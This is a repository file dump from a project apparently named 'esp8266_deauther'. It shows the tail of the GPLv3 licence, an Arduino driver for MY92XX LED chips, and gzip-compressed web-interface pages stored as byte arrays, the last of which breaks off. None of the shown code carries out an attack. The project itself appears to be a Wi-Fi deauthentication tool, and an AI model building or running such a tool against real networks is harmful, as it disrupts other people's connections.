to\nsue for patent infringement).  To \"grant\" such a patent license to a\nparty means to make such an agreement or commitment not to enforce a\npatent against the party.\n\n  If you convey a covered work, knowingly relying on a patent license,\nand the Corresponding Source of the work is not available for anyone\nto copy, free of charge and under the terms of this License, through a\npublicly available network server or other readily accessible means,\nthen you must either (1) cause the Corresponding Source to be so\navailable, or (2) arrange to deprive yourself of the benefit of the\npatent license for this particular work, or (3) arrange, in a manner\nconsistent with the requirements of this License, to extend the patent\nlicense to downstream recipients.  \"Knowingly relying\" means you have\nactual knowledge that, but for the patent license, your conveying the\ncovered work in a country, or your recipient's use of the covered work\nin a country, would infringe one or more identifiable patents in that\ncountry that you have reason to believe are valid.\n\n  If, pursuant to or in connection with a single transaction or\narrangement, you convey, or propagate by procuring conveyance of, a\ncovered work, and grant a patent license to some of the parties\nreceiving the covered work authorizing them to use, propagate, modify\nor convey a specific copy of the covered work, then the patent license\nyou grant is automatically extended to all recipients of the covered\nwork and works based on it.\n\n  A patent license is \"discriminatory\" if it does not include within\nthe scope of its coverage, prohibits the exercise of, or is\nconditioned on the non-exercise of one or more of the rights that are\nspecifically granted under this License.  You may not convey a covered\nwork if you are a party to an arrangement with a third party that is\nin the business of distributing software, under which you make payment\nto the third party based on the extent of your activity of conveying\nthe work, and under which the third party grants, to any of the\nparties who would receive the covered work from you, a discriminatory\npatent license (a) in connection with copies of the covered work\nconveyed by you (or copies made from those copies), or (b) primarily\nfor and in connection with specific products or compilations that\ncontain the covered work, unless you entered into that arrangement,\nor that patent license was granted, prior to 28 March 2007.\n\n  Nothing in this License shall be construed as excluding or limiting\nany implied license or other defenses to infringement that may\notherwise be available to you under applicable patent law.\n\n  12. No Surrender of Others' Freedom.\n\n  If conditions are imposed on you (whether by court order, agreement or\notherwise) that contradict the conditions of this License, they do not\nexcuse you from the conditions of this License.  If you cannot convey a\ncovered work so as to satisfy simultaneously your obligations under this\nLicense and any other pertinent obligations, then as a consequence you may\nnot convey it at all.  For example, if you agree to terms that obligate you\nto collect a royalty for further conveying from those to whom you convey\nthe Program, the only way you could satisfy both those terms and this\nLicense would be to refrain entirely from conveying the Program.\n\n  13. Use with the GNU Affero General Public License.\n\n  Notwithstanding any other provision of this License, you have\npermission to link or combine any covered work with a work licensed\nunder version 3 of the GNU Affero General Public License into a single\ncombined work, and to convey the resulting work.  The terms of this\nLicense will continue to apply to the part which is the covered work,\nbut the special requirements of the GNU Affero General Public License,\nsection 13, concerning interaction through a network will apply to the\ncombination as such.\n\n  14. Revised Versions of this License.\n\n  The Free Software Foundation may publish revised and/or new versions of\nthe GNU General Public License from time to time.  Such new versions will\nbe similar in spirit to the present version, but may differ in detail to\naddress new problems or concerns.\n\n  Each version is given a distinguishing version number.  If the\nProgram specifies that a certain numbered version of the GNU General\nPublic License \"or any later version\" applies to it, you have the\noption of following the terms and conditions either of that numbered\nversion or of any later version published by the Free Software\nFoundation.  If the Program does not specify a version number of the\nGNU General Public License, you may choose any version ever published\nby the Free Software Foundation.\n\n  If the Program specifies that a proxy can decide which future\nversions of the GNU General Public License can be used, that proxy's\npublic statement of acceptance of a version permanently authorizes you\nto choose that version for the Program.\n\n  Later license versions may give you additional or different\npermissions.  However, no additional obligations are imposed on any\nauthor or copyright holder as a result of your choosing to follow a\nlater version.\n\n  15. Disclaimer of Warranty.\n\n  THERE IS NO WARRANTY FOR THE PROGRAM, TO THE EXTENT PERMITTED BY\nAPPLICABLE LAW.  EXCEPT WHEN OTHERWISE STATED IN WRITING THE COPYRIGHT\nHOLDERS AND/OR OTHER PARTIES PROVIDE THE PROGRAM \"AS IS\" WITHOUT WARRANTY\nOF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, BUT NOT LIMITED TO,\nTHE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR\nPURPOSE.  THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE PROGRAM\nIS WITH YOU.  SHOULD THE PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF\nALL NECESSARY SERVICING, REPAIR OR CORRECTION.\n\n  16. Limitation of Liability.\n\n  IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING\nWILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MODIFIES AND/OR CONVEYS\nTHE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, INCLUDING ANY\nGENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING OUT OF THE\nUSE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED TO LOSS OF\nDATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY YOU OR THIRD\nPARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER PROGRAMS),\nEVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF\nSUCH DAMAGES.\n\n  17. Interpretation of Sections 15 and 16.\n\n  If the disclaimer of warranty and limitation of liability provided\nabove cannot be given local legal effect according to their terms,\nreviewing courts shall apply local law that most closely approximates\nan absolute waiver of all civil liability in connection with the\nProgram, unless a warranty or assumption of liability accompanies a\ncopy of the Program in return for a fee.\n\n                     END OF TERMS AND CONDITIONS\n\n            How to Apply These Terms to Your New Programs\n\n  If you develop a new program, and you want it to be of the greatest\npossible use to the public, the best way to achieve this is to make it\nfree software which everyone can redistribute and change under these terms.\n\n  To do so, attach the following notices to the program.  It is safest\nto attach them to the start of each source file to most effectively\nstate the exclusion of warranty; and each file should have at least\nthe \"copyright\" line and a pointer to where the full notice is found.\n\n    <one line to give the program's name and a brief idea of what it does.>\n    Copyright (C) <year>  <name of author>\n\n    This program is free software: you can redistribute it and/or modify\n    it under the terms of the GNU General Public License as published by\n    the Free Software Foundation, either version 3 of the License, or\n    (at your option) any later version.\n\n    This program is distributed in the hope that it will be useful,\n    but WITHOUT ANY WARRANTY; without even the implied warranty of\n    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n    GNU General Public License for more details.\n\n    You should have received a copy of the GNU General Public License\n    along with this program.  If not, see <http://www.gnu.org/licenses/>.\n\nAlso add information on how to contact you by electronic and paper mail.\n\n  If the program does terminal interaction, make it output a short\nnotice like this when it starts in an interactive mode:\n\n    <program>  Copyright (C) <year>  <name of author>\n    This program comes with ABSOLUTELY NO WARRANTY; for details type `show w'.\n    This is free software, and you are welcome to redistribute it\n    under certain conditions; type `show c' for details.\n\nThe hypothetical commands `show w' and `show c' should show the appropriate\nparts of the General Public License.  Of course, your program's commands\nmight be different; for a GUI interface, you would use an \"about box\".\n\n  You should also get your employer (if you work as a programmer) or school,\nif any, to sign a \"copyright disclaimer\" for the program, if necessary.\nFor more information on this, and how to apply and follow the GNU GPL, see\n<http://www.gnu.org/licenses/>.\n\n  The GNU General Public License does not permit incorporating your program\ninto proprietary programs.  If your program is a subroutine library, you\nmay consider it more useful to permit linking proprietary applications with\nthe library.  If this is what you want to do, use the GNU Lesser General\nPublic License instead of this License.  But first, please read\n<http://www.gnu.org/philosophy/why-not-lgpl.html>.\n\n"
  },
  {
    "path": "esp8266_deauther/src/my92xx-3.0.3/my92xx.cpp",
    "content": "/*\n\nMY92XX LED Driver for Arduino\nBased on the C driver by MaiKe Labs\n\nCopyright (c) 2016 - 2026 MaiKe Labs\nCopyright (C) 2017 - 2018 Xose Pérez for the Arduino compatible library\n\nThis program is free software: you can redistribute it and/or modify\nit under the terms of the GNU General Public License as published by\nthe Free Software Foundation, either version 3 of the License, or\n(at your option) any later version.\n\nThis program is distributed in the hope that it will be useful,\nbut WITHOUT ANY WARRANTY; without even the implied warranty of\nMERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\nGNU General Public License for more details.\n\nYou should have received a copy of the GNU General Public License\nalong with this program.  If not, see <http://www.gnu.org/licenses/>.\n\n*/\n\n#include \"my92xx.h\"\n\n#if ARDUINO_ARCH_ESP8266\n\n    extern \"C\" {\n        void os_delay_us(unsigned int);\n    }\n\n#elif ARDUINO_ARCH_AVR\n\n    #define os_delay_us delayMicroseconds\n\n#endif\n\nvoid my92xx::_di_pulse(unsigned int times) {\n\tfor (unsigned int i = 0; i < times; i++) {\n\t\tdigitalWrite(_pin_di, HIGH);\n\t\tdigitalWrite(_pin_di, LOW);\n\t}\n}\n\nvoid my92xx::_dcki_pulse(unsigned int times) {\n\tfor (unsigned int i = 0; i < times; i++) {\n\t\tdigitalWrite(_pin_dcki, HIGH);\n\t\tdigitalWrite(_pin_dcki, LOW);\n\t}\n}\n\nvoid my92xx::_write(unsigned int data, unsigned char bit_length) {\n\n    unsigned int mask = (0x01 << (bit_length - 1));\n\n    for (unsigned int i = 0; i < bit_length / 2; i++) {\n        digitalWrite(_pin_dcki, LOW);\n        digitalWrite(_pin_di, (data & mask) ? HIGH : LOW);\n        digitalWrite(_pin_dcki, HIGH);\n        data = data << 1;\n        digitalWrite(_pin_di, (data & mask) ? HIGH : LOW);\n        digitalWrite(_pin_dcki, LOW);\n        digitalWrite(_pin_di, LOW);\n        data = data << 1;\n    }\n\n}\n\nvoid my92xx::_set_cmd(my92xx_cmd_t command) {\n\n\t// ets_intr_lock();\n\n    // TStop > 12us.\n\tos_delay_us(12);\n\n    // Send 12 DI pulse, after 6 pulse's falling edge store duty data, and 12\n\t// pulse's rising edge convert to command mode.\n\t_di_pulse(12);\n\n    // Delay >12us, begin send CMD data\n\tos_delay_us(12);\n\n    // Send CMD data\n    unsigned char command_data = *(unsigned char *) (&command);\n    for (unsigned char i=0; i<_chips; i++) {\n        _write(command_data, 8);\n    }\n\n\t// TStart > 12us. Delay 12 us.\n\tos_delay_us(12);\n\n    // Send 16 DI pulse，at 14 pulse's falling edge store CMD data, and\n\t// at 16 pulse's falling edge convert to duty mode.\n\t_di_pulse(16);\n\n    // TStop > 12us.\n\tos_delay_us(12);\n\n    // ets_intr_unlock();\n\n}\n\nvoid my92xx::_send() {\n\n    #ifdef DEBUG_MY92XX\n        DEBUG_MSG_MY92XX(\"[MY92XX] Refresh: %s (\", _state ? \"ON\" : \"OFF\");\n        for (unsigned char channel = 0; channel < _channels; channel++) {\n            DEBUG_MSG_MY92XX(\" %d\", _value[channel]);\n        }\n        DEBUG_MSG_MY92XX(\" )\\n\");\n    #endif\n\n    unsigned char bit_length = 8;\n\tswitch (_command.bit_width) {\n\t\tcase MY92XX_CMD_BIT_WIDTH_16:\n\t\t\tbit_length = 16;\n\t\t\tbreak;\n\t\tcase MY92XX_CMD_BIT_WIDTH_14:\n\t\t\tbit_length = 14;\n\t\t\tbreak;\n\t\tcase MY92XX_CMD_BIT_WIDTH_12:\n\t\t\tbit_length = 12;\n\t\t\tbreak;\n\t\tcase MY92XX_CMD_BIT_WIDTH_8:\n\t\t\tbit_length = 8;\n\t\t\tbreak;\n\t\tdefault:\n\t\t\tbit_length = 8;\n\t\t\tbreak;\n\t}\n\n\t// ets_intr_lock();\n\n    // TStop > 12us.\n\tos_delay_us(12);\n\n    // Send color data\n    for (unsigned char channel = 0; channel < _channels; channel++) {\n        _write(_state ? _value[channel] : 0, bit_length);\n\t}\n\n\t// TStart > 12us. Ready for send DI pulse.\n\tos_delay_us(12);\n\n\t// Send 8 DI pulse. After 8 pulse falling edge, store old data.\n\t_di_pulse(8);\n\n\t// TStop > 12us.\n\tos_delay_us(12);\n\n\t// ets_intr_unlock();\n\n}\n\n// -----------------------------------------------------------------------------\n\nunsigned char my92xx::getChannels() {\n    return _channels;\n}\n\nvoid my92xx::setChannel(unsigned char channel, unsigned int value) {\n    if (0 <= channel && channel < _channels) {\n        _value[channel] = value;\n    }\n}\n\nunsigned int my92xx::getChannel(unsigned char channel) {\n    if (0 <= channel && channel < _channels) {\n        return _value[channel];\n    }\n    return 0;\n}\n\nbool my92xx::getState() {\n    return _state;\n}\n\nvoid my92xx::setState(bool state) {\n    _state = state;\n}\n\nvoid my92xx::update() {\n    _send();\n}\n\n// -----------------------------------------------------------------------------\n\nmy92xx::my92xx(my92xx_model_t model, unsigned char chips, unsigned char di, unsigned char dcki, my92xx_cmd_t command) {\n\n    _model = model;\n    _chips = chips;\n\t_pin_di = di;\n\t_pin_dcki = dcki;\n    _command = command;\n\n    // Init channels\n    if (_model == MY92XX_MODEL_MY9291) {\n        _channels = 4 * _chips;\n    } else if (_model == MY92XX_MODEL_MY9231) {\n        _channels = 3 * _chips;\n    }\n    _value = new uint16_t[_channels];\n    for (unsigned char i=0; i<_channels; i++) {\n        _value[i] = 0;\n    }\n\n    // Init GPIO\n\tpinMode(_pin_di, OUTPUT);\n\tpinMode(_pin_dcki, OUTPUT);\n\tdigitalWrite(_pin_di, LOW);\n\tdigitalWrite(_pin_dcki, LOW);\n\n\t// Clear all duty register\n   \t_dcki_pulse(32 * _chips);\n\n    // Send init command\n\t_set_cmd(command);\n\n    DEBUG_MSG_MY92XX(\"[MY92XX] Initialized\\n\");\n\n}\n"
  },
  {
    "path": "esp8266_deauther/src/my92xx-3.0.3/my92xx.h",
    "content": "/*\n\nMY92XX LED Driver for Arduino\nBased on the C driver by MaiKe Labs\n\nCopyright (c) 2016 - 2026 MaiKe Labs\nCopyright (C) 2017 - 2018 Xose Pérez for the Arduino compatible library\n\nThis program is free software: you can redistribute it and/or modify\nit under the terms of the GNU General Public License as published by\nthe Free Software Foundation, either version 3 of the License, or\n(at your option) any later version.\n\nThis program is distributed in the hope that it will be useful,\nbut WITHOUT ANY WARRANTY; without even the implied warranty of\nMERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\nGNU General Public License for more details.\n\nYou should have received a copy of the GNU General Public License\nalong with this program.  If not, see <http://www.gnu.org/licenses/>.\n\n*/\n\n#ifndef _my92xx_h\n#define _my92xx_h\n\n#include <Arduino.h>\n\n#ifdef DEBUG_MY92XX\n    #if ARDUINO_ARCH_ESP8266\n        #define DEBUG_MSG_MY92XX(...) DEBUG_MY92XX.printf( __VA_ARGS__ )\n    #elif ARDUINO_ARCH_AVR\n        #define DEBUG_MSG_MY92XX(...) { char buffer[80]; snprintf(buffer, sizeof(buffer),  __VA_ARGS__ ); DEBUG_MY92XX.print(buffer); }\n    #endif\n#else\n    #define DEBUG_MSG_MY92XX(...)\n#endif\n\ntypedef enum my92xx_model_t {\n        MY92XX_MODEL_MY9291 = 0X00,\n        MY92XX_MODEL_MY9231 = 0X01,\n} my92xx_model_t;\n\ntypedef enum my92xx_cmd_one_shot_t {\n        MY92XX_CMD_ONE_SHOT_DISABLE = 0X00,\n        MY92XX_CMD_ONE_SHOT_ENFORCE = 0X01,\n} my92xx_cmd_one_shot_t;\n\ntypedef enum my92xx_cmd_reaction_t {\n        MY92XX_CMD_REACTION_FAST = 0X00,\n        MY92XX_CMD_REACTION_SLOW = 0X01,\n} my92xx_cmd_reaction_t;\n\ntypedef enum my92xx_cmd_bit_width_t {\n        MY92XX_CMD_BIT_WIDTH_16 = 0X00,\n        MY92XX_CMD_BIT_WIDTH_14 = 0X01,\n        MY92XX_CMD_BIT_WIDTH_12 = 0X02,\n        MY92XX_CMD_BIT_WIDTH_8 = 0X03,\n} my92xx_cmd_bit_width_t;\n\ntypedef enum my92xx_cmd_frequency_t {\n        MY92XX_CMD_FREQUENCY_DIVIDE_1 = 0X00,\n        MY92XX_CMD_FREQUENCY_DIVIDE_4 = 0X01,\n        MY92XX_CMD_FREQUENCY_DIVIDE_16 = 0X02,\n        MY92XX_CMD_FREQUENCY_DIVIDE_64 = 0X03,\n} my92xx_cmd_frequency_t;\n\ntypedef enum my92xx_cmd_scatter_t {\n        MY92XX_CMD_SCATTER_APDM = 0X00,\n        MY92XX_CMD_SCATTER_PWM = 0X01,\n} my92xx_cmd_scatter_t;\n\ntypedef struct {\n        my92xx_cmd_scatter_t scatter:1;\n        my92xx_cmd_frequency_t frequency:2;\n        my92xx_cmd_bit_width_t bit_width:2;\n        my92xx_cmd_reaction_t reaction:1;\n        my92xx_cmd_one_shot_t one_shot:1;\n        unsigned char resv:1;\n} __attribute__ ((aligned(1), packed)) my92xx_cmd_t;\n\n#define MY92XX_COMMAND_DEFAULT { \\\n    .scatter = MY92XX_CMD_SCATTER_APDM, \\\n    .frequency = MY92XX_CMD_FREQUENCY_DIVIDE_1, \\\n    .bit_width = MY92XX_CMD_BIT_WIDTH_8, \\\n    .reaction = MY92XX_CMD_REACTION_FAST, \\\n    .one_shot = MY92XX_CMD_ONE_SHOT_DISABLE, \\\n    .resv = 0 \\\n}\n\nclass my92xx {\n\n    public:\n\n        my92xx(my92xx_model_t model, unsigned char chips, unsigned char di, unsigned char dcki, my92xx_cmd_t command);\n        unsigned char getChannels();\n        void setChannel(unsigned char channel, unsigned int value);\n        unsigned int getChannel(unsigned char channel);\n        void setState(bool state);\n        bool getState();\n        void update();\n\n    private:\n\n        void _di_pulse(unsigned int times);\n        void _dcki_pulse(unsigned int times);\n        void _set_cmd(my92xx_cmd_t command);\n        void _send();\n        void _write(unsigned int data, unsigned char bit_length);\n\n        my92xx_cmd_t _command;\n        my92xx_model_t _model = MY92XX_MODEL_MY9291;\n        unsigned char _chips = 1;\n        unsigned char _channels;\n        uint16_t * _value;\n        bool _state = false;\n        unsigned char _pin_di;\n        unsigned char _pin_dcki;\n\n\n};\n\n#endif\n"
  },
  {
    "path": "esp8266_deauther/webfiles.h",
    "content": "#ifndef webfiles_h\n#define webfiles_h\n\n// comment that out if you want to save program memory and know how to upload the web files to the SPIFFS manually\n#define USE_PROGMEM_WEB_FILES \n\n#ifdef USE_PROGMEM_WEB_FILES\nconst char indexhtml[] PROGMEM = {0x1f, 0x8b, 0x08, 0x08, 0xb5, 0x3c, 0x14, 0x60, 0x02, 0xff, 0x69, 0x6e, 0x64, 0x65, 0x78, 0x2e, 0x68, 0x74, 0x6d, 0x6c, 0x00, 0x95, 0x55, 0x6d, 0x6f, 0xe3, 0x36, 0x0c, 0xfe, 0x2b, 0xac, 0xf7, 0x61, 0x1b, 0x10, 0xdb, 0x4d, 0x0b, 0x14, 0x5d, 0x11, 0x07, 0xd8, 0xd6, 0x76, 0x08, 0x76, 0x57, 0x1c, 0x76, 0xbd, 0xdd, 0xc7, 0x83, 0x2c, 0x31, 0xb1, 0x1a, 0x59, 0xf2, 0xf4, 0x92, 0x5c, 0x80, 0xfd, 0xf8, 0x91, 0xb2, 0xd3, 0xa6, 0x3d, 0x60, 0xd8, 0x80, 0xc0, 0xb1, 0x28, 0xf2, 0xd1, 0xc3, 0x87, 0x14, 0xbd, 0x38, 0x2b, 0xcb, 0x12, 0x1e, 0x3b, 0x1d, 0x20, 0xb8, 0x75, 0xdc, 0x0b, 0x8f, 0x40, 0xef, 0x46, 0x4b, 0xb4, 0x01, 0x15, 0x24, 0xab, 0xd0, 0x43, 0xec, 0x10, 0xde, 0xaf, 0x1e, 0xe1, 0xdd, 0x68, 0xbe, 0x81, 0x2e, 0xc6, 0x21, 0xdc, 0xd4, 0xf5, 0x46, 0xc7, 0x2e, 0xb5, 0x95, 0x74, 0x7d, 0x1d, 0x06, 0x21, 0xb1, 0x4b, 0x9d, 0x8d, 0x28, 0xbb, 0x1a, 0xc3, 0x70, 0x7d, 0x71, 0x75, 0xf5, 0x45, 0xa1, 0x48, 0x14, 0xed, 0xa1, 0x2c, 0x97, 0xb0, 0x38, 0xbb, 0x75, 0x32, 0x1e, 0x06, 0xa4, 0xf8, 0xde, 0xd0, 0xba, 0xc7, 0x28, 0x40, 0x76, 0xc2, 0x07, 0x8c, 0xcd, 0xa7, 0xc7, 0xfb, 0xf2, 0x1a, 0x8e, 0x56, 0x2b, 0x7a, 0x6c, 0x76, 0x1a, 0xf7, 0x83, 0xf3, 0x11, 0x40, 0x3a, 0xc2, 0xb5, 0xb1, 0x29, 0xf6, 0x5a, 0xc5, 0xae, 0x51, 0xb8, 0x23, 0x2a, 0x65, 0x5e, 0xcc, 0x40, 0x5b, 0x1d, 0xb5, 0x30, 0x65, 0x90, 0xc2, 0x60, 0x73, 0x5e, 0x5d, 0xcf, 0xa0, 0x27, 0x5b, 0x4f, 0xa6, 0xa4, 0x8b, 0x57, 0x88, 0xc4, 0xa5, 0xc7, 0x52, 0x3a, 0xe3, 0xfc, 0x09, 0xe8, 0x77, 0x97, 0x57, 0x97, 0x3f, 0x5d, 0xde, 0xbd, 0x76, 0x55, 0x18, 0xa4, 0xd7, 0x43, 0xd4, 0xce, 0x9e, 0xb8, 0xde, 0x7d, 0xfc, 0xc0, 0x89, 0xc1, 0xed, 0x94, 0x18, 0xc7, 0x44, 0x1d, 0x0d, 0x2e, 0xdf, 0xee, 0x2c, 0xea, 0xd1, 0x0e, 0x0b, 0xa3, 0xed, 0x16, 0x3c, 0x9a, 0x26, 0xc4, 0x83, 0xc1, 0xd0, 0x21, 0x52, 0x46, 0xac, 0x43, 0x53, 0x44, 0xfc, 0x1a, 0x6b, 0x19, 0x42, 0x01, 0x9d, 0xc7, 0xf5, 0xe8, 0x50, 0xd1, 0x9a, 0x75, 0x18, 0x8f, 0x87, 0xe0, 0x65, 0x53, 0x3c, 0x85, 0x3a, 0xe8, 0x88, 0xd5, 0x53, 0x28, 0x96, 0x8b, 0x7a, 0xdc, 0x21, 0x97, 0xd6, 0xa9, 0x03, 0x38, 0x6b, 0x9c, 0x50, 0x4d, 0xc1, 0xcf, 0x77, 0xc2, 0x6e, 0x7e, 0xf8, 0x91, 0x49, 0x29, 0xbd, 0x03, 0x69, 0x44, 0x08, 0x0d, 0x73, 0x17, 0xda, 0x52, 0x11, 0x5e, 0x99, 0xbd, 0xdb, 0xc3, 0x1b, 0x3f, 0x53, 0xce, 0x2f, 0xd8, 0xd6, 0xcd, 0x27, 0x53, 0x87, 0x82, 0xeb, 0x0f, 0x4a, 0x44, 0x51, 0x46, 0x2f, 0x6c, 0x30, 0x22, 0x62, 0x43, 0x6d, 0x62, 0xb5, 0xdd, 0xc0, 0xf2, 0xf3, 0xcf, 0x7f, 0x3c, 0xac, 0x1e, 0x7e, 0x5b, 0xd4, 0xdd, 0x9c, 0xc2, 0x86, 0x23, 0x10, 0x29, 0x85, 0x9e, 0xba, 0xe7, 0x6d, 0x9c, 0xd2, 0x81, 0x3c, 0x74, 0x9f, 0xa9, 0xe4, 0xa6, 0x1b, 0xbc, 0x7b, 0x42, 0x19, 0xb9, 0xe7, 0x04, 0x2f, 0xdc, 0x1a, 0xe8, 0x47, 0x8c, 0x25, 0x52, 0xea, 0x6b, 0xaa, 0x52, 0xc4, 0x10, 0xf9, 0x2c, 0x61, 0x15, 0xa0, 0x4a, 0x52, 0x70, 0x41, 0x84, 0x81, 0x21, 0xf9, 0xc1, 0x05, 0x0c, 0xd5, 0xa2, 0xf5, 0x4b, 0x78, 0x40, 0x9d, 0xdb, 0x8c, 0x3b, 0x75, 0x2a, 0xc4, 0x0c, 0x2c, 0x85, 0xeb, 0x18, 0xe0, 0xe3, 0xed, 0xef, 0xb0, 0x17, 0x01, 0x7a, 0x14, 0x36, 0x02, 0x19, 0xdb, 0xa4, 0x8d, 0xca, 0xe8, 0x21, 0xc9, 0xee, 0x05, 0x0a, 0x7e, 0x49, 0x9b, 0x00, 0x52, 0x58, 0x70, 0x52, 0x26, 0x7f, 0x96, 0xa1, 0xf3, 0xe3, 0x53, 0xa0, 0x7b, 0x11, 0x59, 0xea, 0x03, 0x88, 0x0d, 0xa9, 0x19, 0x22, 0x1c, 0x5c, 0xf2, 0xe0, 0xf6, 0x16, 0x2c, 0xc6, 0xbd, 0xf3, 0xdb, 0x90, 0x39, 0x8e, 0xad, 0x19, 0x4e, 0x62, 0x57, 0x11, 0x12, 0xa1, 0xc3, 0x4e, 0x18, 0xad, 0xe0, 0xb3, 0x2e, 0xef, 0x35, 0xac, 0x3d, 0xb5, 0x58, 0x80, 0xb1, 0xc7, 0x5a, 0x92, 0x4a, 0xdb, 0xcc, 0x7d, 0x75, 0x77, 0x77, 0x07, 0xd7, 0xe7, 0x17, 0xd5, 0x7c, 0x0e, 0x21, 0x12, 0x9e, 0xf0, 0x6a, 0x84, 0x75, 0xe4, 0x6e, 0x5d, 0x84, 0xd6, 0x38, 0xb9, 0xe5, 0x24, 0x48, 0x4c, 0x9f, 0x48, 0x24, 0x61, 0x0f, 0x04, 0x87, 0x7f, 0x25, 0xb4, 0x52, 0x1f, 0xf5, 0xf8, 0x60, 0x50, 0x10, 0x65, 0xd9, 0x21, 0x39, 0x33, 0xb0, 0xc1, 0x0d, 0x89, 0xe6, 0x71, 0x93, 0x4c, 0x56, 0x30, 0xf0, 0x89, 0x39, 0x03, 0xe9, 0x92, 0x8d, 0xfe, 0x00, 0x2d, 0x92, 0x20, 0x48, 0x54, 0x59, 0x6d, 0x1d, 0xab, 0x97, 0x04, 0x26, 0x30, 0xe5, 0xec, 0xf7, 0x91, 0x20, 0xd6, 0xac, 0xb3, 0x23, 0xd4, 0x93, 0xfa, 0x91, 0xba, 0xc5, 0x93, 0xe8, 0xa9, 0xb2, 0xc5, 0x8c, 0x17, 0xa4, 0x55, 0x1e, 0x1d, 0x74, 0x0f, 0x89, 0x37, 0x13, 0xf0, 0xf8, 0x52, 0x34, 0xae, 0xf1, 0x69, 0xf8, 0x28, 0xd6, 0x6a, 0xcd, 0x84, 0xe8, 0x98, 0xd9, 0xb3, 0xd4, 0xb4, 0xbf, 0xcb, 0xf1, 0x22, 0x8e, 0x7b, 0x5a, 0x31, 0x87, 0x0c, 0x9d, 0xe5, 0xe1, 0xec, 0x09, 0x89, 0x18, 0x13, 0xe4, 0x9e, 0xdd, 0x5e, 0xd1, 0xca, 0x3e, 0x81, 0x2b, 0x3d, 0xc9, 0x92, 0x5a, 0xa3, 0x43, 0xf6, 0x9f, 0x6e, 0x34, 0x88, 0xd6, 0xa5, 0x29, 0x6a, 0x4f, 0x3d, 0xc4, 0x8b, 0xe3, 0x7f, 0xee, 0xc8, 0x81, 0xb2, 0xc5, 0xaf, 0x83, 0x11, 0x36, 0xeb, 0x06, 0xa1, 0x73, 0xfb, 0x13, 0x46, 0x99, 0xa6, 0x72, 0xcc, 0x38, 0x77, 0x2b, 0x65, 0x2a, 0x69, 0x7a, 0x6e, 0xc3, 0x0c, 0xd6, 0x54, 0x62, 0xae, 0x5d, 0x4d, 0xf6, 0xde, 0x59, 0x3c, 0xe4, 0x42, 0x76, 0x62, 0x87, 0x54, 0x48, 0xd2, 0x23, 0x0c, 0x4c, 0x91, 0xa3, 0x34, 0x51, 0x31, 0x86, 0x56, 0x89, 0x35, 0xca, 0x67, 0xc6, 0xc3, 0x6c, 0x04, 0x73, 0x7d, 0x9f, 0x68, 0xbe, 0x71, 0x7d, 0x88, 0xb7, 0xe2, 0x83, 0x18, 0x86, 0xf7, 0xd6, 0x7a, 0xd3, 0x8d, 0x00, 0x82, 0x76, 0x23, 0xdd, 0x39, 0xea, 0x2e, 0x6a, 0xae, 0x63, 0xe3, 0x9c, 0x94, 0xf0, 0x3e, 0x73, 0xe0, 0xe1, 0x6e, 0xc9, 0xbf, 0x1f, 0x53, 0xd9, 0x69, 0x9a, 0x29, 0x37, 0xa3, 0x93, 0x18, 0x07, 0x50, 0xf1, 0xbf, 0x27, 0x7b, 0xb1, 0xfc, 0xcf, 0xae, 0x8b, 0x5a, 0xd0, 0x49, 0xf5, 0x70, 0x32, 0x2a, 0x8a, 0xe7, 0x59, 0xd1, 0x3a, 0xa3, 0x8a, 0x4c, 0x64, 0xdc, 0x69, 0x53, 0x8c, 0x3c, 0x79, 0xc7, 0xb9, 0x48, 0x77, 0xb2, 0xe2, 0x8f, 0xc6, 0xbf, 0x8c, 0x94, 0x72, 0x8a, 0x58, 0xae, 0x46, 0x8d, 0xa9, 0xe1, 0xc6, 0xab, 0x33, 0x75, 0x8b, 0x73, 0xa3, 0x6a, 0x74, 0x89, 0xe8, 0x82, 0x72, 0xdd, 0x77, 0x78, 0xc2, 0xa8, 0xa6, 0x41, 0xf8, 0xcd, 0xdf, 0xda, 0x39, 0x62, 0xc7, 0xb3, 0x78, 0xa0, 0xa1, 0xa0, 0x55, 0xb3, 0x23, 0x24, 0x96, 0x6e, 0xf9, 0xe7, 0xf4, 0x72, 0x51, 0x5d, 0x55, 0xe7, 0x0b, 0x4e, 0xdc, 0x4e, 0x52, 0x7f, 0xab, 0x27, 0xc9, 0x79, 0x94, 0xa0, 0xa2, 0x8f, 0x52, 0xf4, 0xce, 0x6a, 0x19, 0x58, 0xb0, 0x02, 0xa2, 0xf0, 0x1b, 0xfa, 0xf8, 0x7d, 0x69, 0xa9, 0xc1, 0xb6, 0x34, 0x50, 0xf5, 0x56, 0x67, 0x52, 0x7f, 0x3f, 0x43, 0x70, 0xc5, 0xc6, 0xdc, 0x97, 0xbf, 0x92, 0x50, 0x34, 0xd0, 0x26, 0xd6, 0x13, 0xb9, 0x7f, 0x00, 0x02, 0x19, 0x2a, 0x8c, 0xc3, 0x07, 0x00, 0x00};\nconst char scanhtml[] PROGMEM = {0x1f, 0x8b, 0x08, 0x08, 0xb5, 0x3c, 0x14, 0x60, 0x02, 0xff, 0x73, 0x63, 0x61, 0x6e, 0x2e, 0x68, 0x74, 0x6d, 0x6c, 0x00, 0xad, 0x57, 0x6d, 0x4f, 0xe3, 0x38, 0x10, 0xfe, 0x2b, 0x43, 0xef, 0x0b, 0x2b, 0xd1, 0xa6, 0x2d, 0x4b, 0x17, 0x50, 0x13, 0x89, 0x83, 0x5d, 0x09, 0x89, 0xdb, 0x45, 0x0b, 0x77, 0x27, 0xdd, 0x97, 0xca, 0x4d, 0xa6, 0x8d, 0x97, 0xd4, 0xae, 0x6c, 0xa7, 0x5d, 0xa4, 0xfb, 0xf1, 0xf7, 0xd8, 